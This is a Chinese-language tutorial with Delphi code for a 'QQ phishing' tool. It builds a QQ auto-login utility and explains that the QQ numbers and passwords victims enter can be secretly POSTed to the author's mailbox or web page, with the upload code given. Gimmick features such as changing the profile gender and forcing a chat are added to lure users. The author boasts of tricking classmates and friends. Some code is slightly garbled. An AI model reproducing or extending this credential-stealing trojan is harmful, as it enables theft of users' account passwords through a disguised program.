获取QQ命令行启动参数函数:(参数:QQ号码、QQ密码、登陆状态)
Code Language : Delphi
function GetCommandLine(QQNum, QQPw: string; QQState: integer): string;
type
TempChar = array[0..15] of char;
var
md5: TIdHashMessageDigest5;
begin
md5 := TIdHashMessageDigest5.Create;
result := ' /START QQUIN:' + QQNum + ' PWDHASH:' + Base64(TempChar(md5.HashValue(QQPw))) + ' /STAT:' + IntToStr(QQState);
md5.Free;
end;
Parsed in 0.010 seconds
上面函数用到的Base64函数为:
Code Language : Delphi
function Base64(Src: string): string;
const
DataSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
i, ModLen: integer;
Current: string;
Buf: array[1..3] of Byte;
NewBuf: array[1..4] of Byte;
begin
result := '';
if Src = '' then
exit;
ModLen := Length(Src) mod 3;
while Length(Src) > 0 do
begin
FillChar(Buf, 3, #0);
Current := Copy(Src, 1, 3);
Src := Copy(Src, 4, Length(Src) - 3);
for i := 1 to 3 do
Buf[i] := Ord(Current[i]);
NewBuf[1] := Buf[1] shr 2;
NewBuf[2] := (Buf[1] shl 6 shr 2 or Buf[2] shr 4) and $3F;
NewBuf[3] := (Buf[2] shl 4 shr 2 or Buf[3] shr 6) and $3F;
NewBuf[4] := Buf[3] and $3F;
for i := 1 to 4 do
result := result + DataSet[NewBuf[i] + 1];
end;
if ModLen >= 1 then
result[Length(result)] := '=';
if ModLen = 1 then
result[Length(result) - 1] := '=';
end;
有了上面的QQ自动登陆的实现,我们就可以写出一个QQ自动登陆器了。这就和我要说的QQ钓鱼工程联系上了,聪明的你一定也想出来了。
编写一款优秀的QQ木马去截获QQ密码框中的密码对我等小菜来说难以实现,但我们却可以变相地去获取QQ密码:
当别人使用我们的QQ自动登陆器登陆QQ时,我们可以把他所输入的QQ以及密码发送到我们的邮箱或指定网页上,这里给出ASP发信的代码:
Code Language : Delphi
function HtmlEncode(s: string): string;
var
i, v1, v2: integer;
function i2s(b: byte): char;
begin
if b <= 9 then result := chr($30 + b)
else result := chr($41 - 10 + b);
end;
begin
result := '';
for i := 1 to length(s) do
if s[i] = ' ' then result := result + '+'
else if (s[i] < ' ') or (s[i] in ['/', '\', ':', '&', '?', '|']) then
begin
v1 := ord(s[i]) mod 16;
v2 := ord(s[i]) div 16;
result := result + '%' + i2s(v2) + i2s(v1);
end
else result := result + s[i];
end;
function UpperCase(AStr: string): string; overload;
var
LI: Integer;
begin
Result := AStr;
for LI := 1 to Length(Result) do
Result[LI] := UpCase(Result[LI]);
end;
// 以Post方式发信
function PostURL(const aUrl: string; FTPostQuery: string; const strPostOkResult: string = 'Send OK!'): Boolean;
var
hSession: HINTERNET;
hConnect, hRequest: hInternet;
lpBuffer: array[0..1024 + 1] of Char;
dwBytesRead: DWORD;
HttpStr: string;
HostName, FileName: string;
FTResult: Boolean;
AcceptType: LPStr;
Buf: Pointer;
dwBufLen, dwIndex: DWord;
procedure ParseURL(URL: string; var HostName, FileName: string);
procedure ReplaceChar(c1, c2: Char; var St: string);
var
p: Integer;
begin
while True do
begin
p := Pos(c1, St);
if p = 0 then Break
else St
:= c2;
end;
end;
var
i: Integer;
begin
if Pos(UpperCase('http://'), UpperCase(URL)) <> 0 then
System.Delete(URL, 1, 7);
i := Pos('/', URL);
HostName := Copy(URL, 1, i);
FileName := Copy(URL, i, Length(URL) - i + 1);
if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
SetLength(HostName, Length(HostName) - 1);
end;
begin
Result := False;
hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
try
if Assigned(hSession) then
begin
ParseURL(aUrl, HostName, FileName);
hConnect := InternetConnect(hSession, PChar(HostName),
INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
AcceptType := PChar('Accept: */*');
hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
PChar(FTPostQuery), Length(FTPostQuery));
dwIndex := 0;
dwBufLen := 1024;
GetMem(Buf, dwBufLen);
FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
Buf, dwBufLen, dwIndex);
if FTResult = True then
try
while True do
begin
dwBytesRead := 1024;
InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
if dwBytesRead = 0 then break;
lpBuffer[dwBytesRead] := #0;
HttpStr := HttpStr + lpBuffer;
end;
Result := pos(strPostOkResult, HttpStr) > 0;
finally
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
end;
end;
finally
InternetCloseHandle(hSession);
end;
end;
Parsed in 0.081 seconds
我们可以给我们的QQ自动登陆器加多些功能,以吸引别人使用(钓鱼嘛~),比如:
QQ性别任意修改:
Code Language : Delphi
procedure ChangeSex(sex:string);
var
tmp:pchar;
h,h1,h2,h3,h4,h5:HWND;
id:integer;
begin
h := FindWindow('#32770','QQ2007设置');
if h=0 then
h := FindWindow('#32770','QQ2006设置');
if h<>0 then begin
h1 := FindWindowEx(h,0,'#32770',nil);
h2 := FindWindowEx(h1,0,'#32770',nil);
h3 := GetDlgItem(h2,1356);
h4 := GetDlgItem(h2,551);
h5 := GetDlgItem(h1,1343);
SendMessage(h3,32,0,0); //WM_SETCURSOR
id := SendMessage(h3,323,0,longint(pchar(sex))); //给QQ性别组合框加一项
SendMessage(h3,334,id,0); //选择所加的那项
SendMessage(h4,13,10,longint(@tmp));
SendMessage(h4,12,0,longint(@tmp));
SendMessage(h5,245,0,0); //点击确定按钮
end
else
Application.MessageBox('请先打开QQ个人设置窗口!','提示',MB_OK);
end;
Parsed in 0.021 seconds
QQ强行聊天:
Code Language : Delphi
procedure QQChat(number:string);
var
inum:integer;
begin
if trystrtoint(number,inum) then
begin
if inum>10000 then
ShellExecute(handle,nil,pchar('Tencent://Message/?Menu=YES&Exe=&Uin='+number),nil,nil,SW_NORMAL)
else
Application.MessageBox('无此QQ号码!','提示',MB_OK);
end
else
Application.MessageBox('请输入有效的QQ号码!','提示',MB_OK);
end;
Parsed in 0.011 seconds
这些功能的实现都是再简单不过了,但对于不懂编程的人来说却觉得很神奇(我给我身边的同学、朋友用的时候他们都崇拜地对我说:你太厉害了!而我,背后暗笑中……)